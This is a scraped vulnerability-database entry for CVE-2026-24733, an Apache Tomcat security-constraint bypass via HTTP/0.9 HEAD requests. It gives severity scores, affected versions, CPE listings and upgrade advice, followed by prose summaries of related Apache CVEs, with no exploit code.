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Vulnerability Details :

CVE-2026-24733

Summary
Assigner-apache
Assigner Org ID-f0158376-9dc2-43b6-827c-5f631a4d8d09
Published At-17 Feb, 2026 | 18:50
Updated At-11 Mar, 2026 | 15:19
Rejected At-
Credits

Apache Tomcat: Security constraint bypass with HTTP/0.9

Improper Input Validation vulnerability in Apache Tomcat. Tomcat did not limit HTTP/0.9 requests to the GET method. If a security constraint was configured to allow HEAD requests to a URI but deny GET requests, the user could bypass that constraint on GET requests by sending a (specification invalid) HEAD request using HTTP/0.9. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112. Older, EOL versions are also affected. Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.

Vendors
-
Not available
Products
-
Metrics (CVSS)
VersionBase scoreBase severityVector
Weaknesses
Attack Patterns
Solution/Workaround
References
HyperlinkResource Type
EPSS History
Score
Latest Score
-
N/A
No data available for selected date range
Percentile
Latest Percentile
-
N/A
No data available for selected date range
Stakeholder-Specific Vulnerability Categorization (SSVC)
▼Common Vulnerabilities and Exposures (CVE)
cve.org
Assigner:apache
Assigner Org ID:f0158376-9dc2-43b6-827c-5f631a4d8d09
Published At:17 Feb, 2026 | 18:50
Updated At:11 Mar, 2026 | 15:19
Rejected At:
▼CVE Numbering Authority (CNA)
Apache Tomcat: Security constraint bypass with HTTP/0.9

Improper Input Validation vulnerability in Apache Tomcat. Tomcat did not limit HTTP/0.9 requests to the GET method. If a security constraint was configured to allow HEAD requests to a URI but deny GET requests, the user could bypass that constraint on GET requests by sending a (specification invalid) HEAD request using HTTP/0.9. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112. Older, EOL versions are also affected. Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.

Affected Products
Vendor
The Apache Software FoundationApache Software Foundation
Product
Apache Tomcat
Default Status
unaffected
Versions
Affected
  • From 11.0.0-M1 through 11.0.14 (semver)
  • From 10.1.0-M1 through 10.1.49 (semver)
  • From 9.0.0.M1 through 9.0.112 (semver)
  • From 0 through 8.5.100 (semver)
Problem Types
TypeCWE IDDescription
CWECWE-20CWE-20 Improper Input Validation
Type: CWE
CWE ID: CWE-20
Description: CWE-20 Improper Input Validation
Metrics
VersionBase scoreBase severityVector
Metrics Other Info
Textual description of severity
text:
low
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
https://lists.apache.org/thread/6xk3t65qpn1myp618krtfotbjn1qt90f
vendor-advisory
Hyperlink: https://lists.apache.org/thread/6xk3t65qpn1myp618krtfotbjn1qt90f
Resource:
vendor-advisory
▼Authorized Data Publishers (ADP)
CISA ADP Vulnrichment
Affected Products
Metrics
VersionBase scoreBase severityVector
3.16.5MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Version: 3.1
Base score: 6.5
Base severity: MEDIUM
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
Information is not available yet
▼National Vulnerability Database (NVD)
nvd.nist.gov
Source:security@apache.org
Published At:17 Feb, 2026 | 19:21
Updated At:11 Mar, 2026 | 16:16

Improper Input Validation vulnerability in Apache Tomcat. Tomcat did not limit HTTP/0.9 requests to the GET method. If a security constraint was configured to allow HEAD requests to a URI but deny GET requests, the user could bypass that constraint on GET requests by sending a (specification invalid) HEAD request using HTTP/0.9. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112. Older, EOL versions are also affected. Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.

CISA Catalog
Date AddedDue DateVulnerability NameRequired Action
N/A
Date Added: N/A
Due Date: N/A
Vulnerability Name: N/A
Required Action: N/A
Metrics
TypeVersionBase scoreBase severityVector
Primary3.13.7LOW
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Secondary3.16.5MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Type: Primary
Version: 3.1
Base score: 3.7
Base severity: LOW
Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Type: Secondary
Version: 3.1
Base score: 6.5
Base severity: MEDIUM
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CPE Matches

The Apache Software Foundation
apache
>>tomcat>>Versions from 9.0.1(inclusive) to 9.0.113(exclusive)
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>Versions from 10.1.1(inclusive) to 10.1.50(exclusive)
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>Versions from 11.0.1(inclusive) to 11.0.15(exclusive)
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone1:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone10:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone11:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone12:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone13:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone14:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone15:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone16:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone17:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone18:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone19:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone2:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone20:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone21:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone22:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone23:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone24:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone25:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone26:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone27:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone3:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone4:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone5:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone6:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone7:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone8:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>9.0.0
cpe:2.3:a:apache:tomcat:9.0.0:milestone9:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone1:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone10:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone2:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone3:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone4:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone5:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone6:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone7:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone8:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>10.0.0
cpe:2.3:a:apache:tomcat:10.0.0:milestone9:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone1:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone10:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone11:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone12:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone13:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone14:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone15:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone16:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone17:*:*:*:*:*:*
The Apache Software Foundation
apache
>>tomcat>>11.0.0
cpe:2.3:a:apache:tomcat:11.0.0:milestone18:*:*:*:*:*:*
Weaknesses
CWE IDTypeSource
CWE-20Secondarysecurity@apache.org
NVD-CWE-noinfoPrimarynvd@nist.gov
CWE ID: CWE-20
Type: Secondary
Source: security@apache.org
CWE ID: NVD-CWE-noinfo
Type: Primary
Source: nvd@nist.gov
Evaluator Description

Evaluator Impact

Evaluator Solution

Vendor Statements

References
HyperlinkSourceResource
https://lists.apache.org/thread/6xk3t65qpn1myp618krtfotbjn1qt90fsecurity@apache.org
Mailing List
Vendor Advisory
Hyperlink: https://lists.apache.org/thread/6xk3t65qpn1myp618krtfotbjn1qt90f
Source: security@apache.org
Resource:
Mailing List
Vendor Advisory

Change History

0
Information is not available yet

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KEV Action Due Date-Not Available
Apache Jackrabbit Core, Apache Jackrabbit JCR Commons: JNDI injection risk with JndiRepositoryFactory

Deserialization of Untrusted Data vulnerability in Apache Jackrabbit Core and Apache Jackrabbit JCR Commons. This issue affects Apache Jackrabbit Core: from 1.0.0 through 2.22.1; Apache Jackrabbit JCR Commons: from 1.0.0 through 2.22.1. Deployments that accept JNDI URIs for JCR lookup from untrusted users allows them to inject malicious JNDI references, potentially leading to arbitrary code execution through deserialization of untrusted data. Users are recommended to upgrade to version 2.22.2. JCR lookup through JNDI has been disabled by default in 2.22.2. Users of this feature need to enable it explicitly and are adviced to review their use of JNDI URI for JCR lookup.

Action-Not Available
Vendor-The Apache Software Foundation
Product-jackrabbitApache Jackrabbit JCR CommonsApache Jackrabbit Core
CWE ID-CWE-502
Deserialization of Untrusted Data
CVE-2024-30471
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-5.3||MEDIUM
EPSS-1.05% / 77.59%
||
7 Day CHG~0.00%
Published-17 Jul, 2024 | 09:01
Updated-13 Sep, 2024 | 17:04
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache StreamPipes: Potential creation of multiple identical accounts

Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Apache StreamPipes in user self-registration. This allows an attacker to potentially request the creation of multiple accounts with the same email address until the email address is registered, creating many identical users and corrupting StreamPipe's user management. This issue affects Apache StreamPipes: through 0.93.0. Users are recommended to upgrade to version 0.95.0, which fixes the issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-streampipesApache StreamPipesstreampipes
CWE ID-CWE-367
Time-of-check Time-of-use (TOCTOU) Race Condition
CVE-2025-55039
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.06% / 17.92%
||
7 Day CHG~0.00%
Published-15 Oct, 2025 | 07:19
Updated-04 Nov, 2025 | 22:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Spark, Apache Spark: RPC encryption defaults to unauthenticated AES-CTR mode, enabling man-in-the-middle ciphertext modification attacks

This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security.

Action-Not Available
Vendor-The Apache Software Foundation
Product-sparkApache Spark
CWE ID-CWE-326
Inadequate Encryption Strength
CWE ID-CWE-347
Improper Verification of Cryptographic Signature
CVE-2025-54656
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.30% / 53.18%
||
7 Day CHG+0.03%
Published-30 Jul, 2025 | 15:58
Updated-04 Nov, 2025 | 22:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Struts Extras: Improper Output Neutralization for Logs

** UNSUPPORTED WHEN ASSIGNED ** Improper Output Neutralization for Logs vulnerability in Apache Struts. This issue affects Apache Struts Extras: before 2. When using LookupDispatchAction, in some cases, Struts may print untrusted input to the logs without any filtering. Specially-crafted input may lead to log output where part of the message masquerades as a separate log line, confusing consumers of the logs (either human or automated).  As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Action-Not Available
Vendor-The Apache Software Foundation
Product-struts_extrasApache Struts Extras
CWE ID-CWE-117
Improper Output Neutralization for Logs
CVE-2024-27439
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.57% / 68.59%
||
7 Day CHG~0.00%
Published-19 Mar, 2024 | 11:07
Updated-27 Jun, 2025 | 14:43
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Wicket: Possible bypass of CSRF protection

An error in the evaluation of the fetch metadata headers could allow a bypass of the CSRF protection in Apache Wicket. This issue affects Apache Wicket: from 9.1.0 through 9.16.0, and the milestone releases for the 10.0 series. Apache Wicket 8.x does not support CSRF protection via the fetch metadata headers and as such is not affected. Users are recommended to upgrade to version 9.17.0 or 10.0.0, which fixes the issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-wicketApache Wicket
CWE ID-CWE-352
Cross-Site Request Forgery (CSRF)
CWE ID-CWE-444
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CVE-2025-46548
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-1.73% / 82.50%
||
7 Day CHG~0.00%
Published-03 Jun, 2025 | 14:45
Updated-02 Jul, 2025 | 14:19
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Pekko Management, Apache Pekko Management, Apache Pekko Management, Akka Management, Akka Management, Akka Management: management API basic authentication is not effective

If you enable Basic Authentication in Pekko Management using the Java DSL, the authenticator may not be properly applied. Users that rely on authentication instead of making sure the Management API ports are only available to trusted users are recommended to upgrade to version 1.1.1, which fixes this issue. Akka was affected by the same issue and has released the fix in version 1.6.1.

Action-Not Available
Vendor-akkaLightbendThe Apache Software Foundation
Product-akka_managementpekko_managementApache Pekko ManagementAkka Management
CWE ID-CWE-287
Improper Authentication
CVE-2023-50270
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-1.04% / 77.48%
||
7 Day CHG~0.00%
Published-20 Feb, 2024 | 10:01
Updated-18 Mar, 2025 | 17:38
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache DolphinScheduler: Session do not expire after password change

Session Fixation Apache DolphinScheduler before version 3.2.0, which session is still valid after the password change. Users are recommended to upgrade to version 3.2.1, which fixes this issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-dolphinschedulerApache DolphinSchedulerdolphinscheduler
CWE ID-CWE-384
Session Fixation
CWE ID-CWE-613
Insufficient Session Expiration
CVE-2025-29868
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-2.24% / 84.58%
||
7 Day CHG~0.00%
Published-01 Apr, 2025 | 07:56
Updated-15 Apr, 2025 | 13:07
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Answer: Using externally referenced images can leak user privacy.

Private Data Structure Returned From A Public Method vulnerability in Apache Answer. This issue affects Apache Answer: through 1.4.2. If a user uses an externally referenced image, when a user accesses this image, the provider of the image may obtain private information about the ip address of that accessing user. Users are recommended to upgrade to version 1.4.5, which fixes the issue. In the new version, administrators can set whether external content can be displayed.

Action-Not Available
Vendor-The Apache Software Foundation
Product-answerApache Answer
CWE ID-CWE-495
Private Data Structure Returned From A Public Method
CVE-2023-25753
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.75% / 73.12%
||
7 Day CHG~0.00%
Published-19 Oct, 2023 | 08:35
Updated-12 Sep, 2024 | 20:32
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Server-Side Request Forgery in Apache ShenYu

There exists an SSRF (Server-Side Request Forgery) vulnerability located at the /sandbox/proxyGateway endpoint. This vulnerability allows us to manipulate arbitrary requests and retrieve corresponding responses by inputting any URL into the requestUrl parameter. Of particular concern is our ability to exert control over the HTTP method, cookies, IP address, and headers. This effectively grants us the capability to dispatch complete HTTP requests to hosts of our choosing. This issue affects Apache ShenYu: 2.5.1. Upgrade to Apache ShenYu 2.6.0 or apply patch  https://github.com/apache/shenyu/pull/4776  .

Action-Not Available
Vendor-The Apache Software Foundation
Product-shenyuApache ShenYu
CWE ID-CWE-918
Server-Side Request Forgery (SSRF)
CVE-2025-27522
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.40% / 60.43%
||
7 Day CHG~0.00%
Published-28 May, 2025 | 08:06
Updated-28 Jan, 2026 | 20:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache InLong: JDBC Vulnerability during verification processing

Deserialization of Untrusted Data vulnerability in Apache InLong. This issue affects Apache InLong: from 1.13.0 through 2.1.0. This vulnerability is a secondary mining bypass for CVE-2024-26579. Users are advised to upgrade to Apache InLong's 2.2.0 or cherry-pick [1] to solve it. [1] https://github.com/apache/inlong/pull/11732

Action-Not Available
Vendor-The Apache Software Foundation
Product-inlongApache InLong
CWE ID-CWE-502
Deserialization of Untrusted Data
CVE-2025-25069
Matching Score-8
Assigner-Apache Software Foundation
ShareView Details
Matching Score-8
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.82% / 74.42%
||
7 Day CHG~0.00%
Published-07 Feb, 2025 | 12:46
Updated-13 Feb, 2025 | 22:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Kvrocks: Cross-Protocol Scripting Vulnerability

A Cross-Protocol Scripting vulnerability is found in Apache Kvrocks. Since Kvrocks didn't detect if "Host:" or "POST" appears in RESP requests, a valid HTTP request can also be sent to Kvrocks as a valid RESP request and trigger some database operations, which can be dangerous when it is chained with SSRF. It is similiar to CVE-2016-10517 in Redis. This issue affects Apache Kvrocks: from the initial version to the latest version 2.11.0. Users are recommended to upgrade to version 2.11.1, which fixes the issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-Apache Kvrocks
CWE ID-CWE-115
Misinterpretation of Input
CVE-2017-12632
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-0.53% / 67.28%
||
7 Day CHG~0.00%
Published-23 Jan, 2018 | 22:00
Updated-16 Sep, 2024 | 20:01
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

A malicious host header in an incoming HTTP request could cause NiFi to load resources from an external server. The fix to sanitize host headers and compare to a controlled whitelist was applied on the Apache NiFi 1.5.0 release. Users running a prior 1.x release should upgrade to the appropriate release.

Action-Not Available
Vendor-The Apache Software Foundation
Product-nifiApache NiFi
CWE ID-CWE-20
Improper Input Validation
CVE-2017-12611
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-9.8||CRITICAL
EPSS-94.23% / 99.93%
||
7 Day CHG~0.00%
Published-20 Sep, 2017 | 17:00
Updated-20 Apr, 2025 | 01:37
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.

Action-Not Available
Vendor-The Apache Software Foundation
Product-strutsApache Struts
CWE ID-CWE-20
Improper Input Validation
CVE-2019-17555
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-2.20% / 84.45%
||
7 Day CHG~0.00%
Published-04 Dec, 2019 | 17:06
Updated-05 Aug, 2024 | 01:40
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

The AsyncResponseWrapperImpl class in Apache Olingo versions 4.0.0 to 4.6.0 reads the Retry-After header and passes it to the Thread.sleep() method without any check. If a malicious server returns a huge value in the header, then it can help to implement a DoS attack.

Action-Not Available
Vendor-The Apache Software Foundation
Product-olingoOlingo
CWE ID-CWE-20
Improper Input Validation
CVE-2017-12171
Matching Score-6
Assigner-Red Hat, Inc.
ShareView Details
Matching Score-6
Assigner-Red Hat, Inc.
CVSS Score-6.5||MEDIUM
EPSS-1.54% / 81.42%
||
7 Day CHG~0.00%
Published-26 Jul, 2018 | 17:00
Updated-05 Aug, 2024 | 18:28
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

A regression was found in the Red Hat Enterprise Linux 6.9 version of httpd 2.2.15-60, causing comments in the "Allow" and "Deny" configuration lines to be parsed incorrectly. A web administrator could unintentionally allow any client to access a restricted HTTP resource.

Action-Not Available
Vendor-Red Hat, Inc.The Apache Software Foundation
Product-enterprise_linux_serverhttp_serverenterprise_linux_workstationenterprise_linuxenterprise_linux_desktophttpd
CWE ID-CWE-284
Improper Access Control
CWE ID-CWE-20
Improper Input Validation
CVE-2022-47894
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-5.3||MEDIUM
EPSS-0.28% / 51.30%
||
7 Day CHG~0.00%
Published-09 Apr, 2024 | 09:29
Updated-13 Feb, 2025 | 17:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Zeppelin SAP: connecting to a malicious SAP server allowed it to perform XXE

Improper Input Validation vulnerability in Apache Zeppelin SAP.This issue affects Apache Zeppelin SAP: from 0.8.0 before 0.11.0. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. For more information, the fix already was merged in the source code but Zeppelin decided to retire the SAP component NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Action-Not Available
Vendor-The Apache Software Foundation
Product-Apache Zeppelin SAPzeppelin
CWE ID-CWE-20
Improper Input Validation
CVE-2022-47502
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.8||HIGH
EPSS-0.24% / 47.75%
||
7 Day CHG~0.00%
Published-24 Mar, 2023 | 15:57
Updated-13 Feb, 2025 | 17:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache OpenOffice: Macro URL arbitrary script execution

Apache OpenOffice documents can contain links that call internal macros with arbitrary arguments. Several URI Schemes are defined for this purpose. Links can be activated by clicks, or by automatic document events. The execution of such links must be subject to user approval. In the affected versions of OpenOffice, approval for certain links is not requested; when activated, such links could therefore result in arbitrary script execution.

Action-Not Available
Vendor-The Apache Software Foundation
Product-openofficeApache OpenOffice
CWE ID-CWE-20
Improper Input Validation
CWE ID-CWE-88
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CVE-2022-47185
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-0.36% / 58.52%
||
7 Day CHG~0.00%
Published-09 Aug, 2023 | 06:57
Updated-13 Feb, 2025 | 17:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Traffic Server: Invalid Range header causes a crash

Improper input validation vulnerability on the range header in Apache Software Foundation Apache Traffic Server.This issue affects Apache Traffic Server: through 9.2.1.

Action-Not Available
Vendor-The Apache Software Foundation
Product-traffic_serverApache Traffic Servertraffic_server
CWE ID-CWE-20
Improper Input Validation
CVE-2022-47937
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-9.8||CRITICAL
EPSS-0.27% / 50.62%
||
7 Day CHG~0.00%
Published-15 May, 2023 | 09:20
Updated-11 Oct, 2024 | 21:35
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Multiple parsing problems in the Apache Sling Commons JSON module

Improper input validation in the Apache Sling Commons JSON bundle allows an attacker to trigger unexpected errors by supplying specially-crafted input. The org.apache.sling.commons.json bundle has been deprecated as of March 2017 and should not be used anymore. Consumers are encouraged to consider the Apache Sling Commons Johnzon OSGi bundle provided by the Apache Sling project, but may of course use other JSON libraries.

Action-Not Available
Vendor-The Apache Software Foundation
